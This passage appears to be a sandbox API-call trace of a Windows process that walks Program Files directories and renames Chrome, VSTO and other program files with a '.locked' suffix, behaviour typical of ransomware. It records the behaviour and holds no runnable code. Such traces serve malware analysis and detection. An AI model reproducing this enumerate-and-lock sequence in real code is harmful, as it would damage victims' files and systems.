Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.300] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.312] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda01aa20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda01aa20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.315] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda01aa20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda01aa20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.318] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda01aa20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda01aa20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.321] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config.locked" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.locked"), dwFlags=0x2) returned 1 [0092.322] GetFileType (hFile=0xc8) returned 0x1 [0092.323] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.324] GetFileType (hFile=0xc4) returned 0x1 [0092.325] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.327] GetFileType (hFile=0xd4) returned 0x1 [0092.328] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.329] GetFileType (hFile=0x120) returned 0x1 [0092.330] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.330] GetFileType (hFile=0x120) returned 0x1 [0092.331] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.332] GetFileType (hFile=0xc8) returned 0x1 [0092.333] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda040b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda040b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.333] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.334] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.340] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825990 [0092.345] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda066ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda066ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.348] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda066ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda066ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.349] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xda066ce0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda066ce0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.351] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.356] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.358] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.361] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.366] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xda08ce40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda08ce40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0092.367] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xda0b2fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda0b2fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.368] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xda0b2fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda0b2fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xda0b2fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xda0b2fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.945] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak.locked"), dwFlags=0x2) returned 1 [0093.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak.locked"), dwFlags=0x2) returned 1 [0093.453] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdaaf6e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xdaaf6e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0093.455] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdaaf6e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xdaaf6e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0093.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat.locked"), dwFlags=0x2) returned 1 [0093.961] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdafdfbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xdafdfbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0094.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z.locked"), dwFlags=0x2) returned 1 [0094.511] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdb514c00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xdb514c00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0095.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak.locked"), dwFlags=0x2) returned 1 [0095.755] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak.locked"), dwFlags=0x2) returned 1 [0096.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak.locked"), dwFlags=0x2) returned 1 [0097.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak.locked"), dwFlags=0x2) returned 1 [0097.445] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak.locked"), dwFlags=0x2) returned 1 [0097.794] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak.locked"), dwFlags=0x2) returned 1 [0098.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak.locked"), dwFlags=0x2) returned 1 [0098.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak.locked"), dwFlags=0x2) returned 1 [0099.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak.locked"), dwFlags=0x2) returned 1 [0099.291] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak.locked"), dwFlags=0x2) returned 1 [0099.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak.locked"), dwFlags=0x2) returned 1 [0099.941] 